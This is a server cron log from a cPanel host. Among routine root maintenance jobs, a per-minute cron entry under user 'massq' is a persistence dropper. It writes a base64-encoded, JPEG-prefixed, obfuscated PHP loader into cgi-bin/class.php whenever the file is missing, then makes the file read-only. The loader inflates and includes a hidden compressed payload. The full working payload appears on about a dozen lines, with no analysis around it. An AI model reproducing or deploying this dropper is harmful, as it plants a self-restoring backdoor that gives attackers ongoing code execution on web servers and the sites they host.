Sep 11 01:10:01 server CROND[462]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 01:10:01 server CROND[465]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 01:10:01 server CROND[468]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 01:10:01 server CROND[467]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 11 01:10:01 server CROND[469]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 01:10:01 server CROND[464]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 11 01:10:01 server CROND[466]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 01:11:01 server CROND[1534]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 01:11:01 server CROND[1533]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 01:11:01 server CROND[1535]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 01:12:01 server CROND[1918]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 01:12:01 server CROND[1920]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 11 01:12:01 server CROND[1919]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 01:12:01 server CROND[1921]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 01:13:01 server CROND[2342]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 01:13:01 server CROND[2343]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 01:13:01 server CROND[2344]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 01:14:01 server CROND[2771]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 01:14:01 server CROND[2772]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 01:14:01 server CROND[2773]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 01:15:01 server CROND[3167]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 01:15:01 server CROND[3169]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep 11 01:15:01 server CROND[3170]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 01:15:01 server CROND[3173]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 11 01:15:01 server CROND[3172]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 01:15:01 server CROND[3171]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 11 01:15:01 server CROND[3175]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 01:15:01 server CROND[3176]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 01:16:01 server CROND[4072]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 01:16:01 server CROND[4073]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 01:16:01 server CROND[4074]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 01:17:01 server CROND[4495]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 01:17:01 server CROND[4496]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 01:17:01 server CROND[4497]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 01:18:01 server CROND[4883]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 01:18:01 server CROND[4884]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 01:18:01 server CROND[4885]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 01:19:01 server CROND[5306]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 01:19:01 server CROND[5307]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 01:19:01 server CROND[5308]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 01:20:01 server CROND[5699]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 11 01:20:01 server CROND[5701]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 01:20:01 server CROND[5706]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 11 01:20:01 server CROND[5711]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 01:20:01 server CROND[5710]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 01:20:01 server CROND[5712]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 01:20:01 server CROND[5709]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 01:20:01 server CROND[5721]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 11 01:20:01 server CROND[5720]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 11 01:21:01 server CROND[6537]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
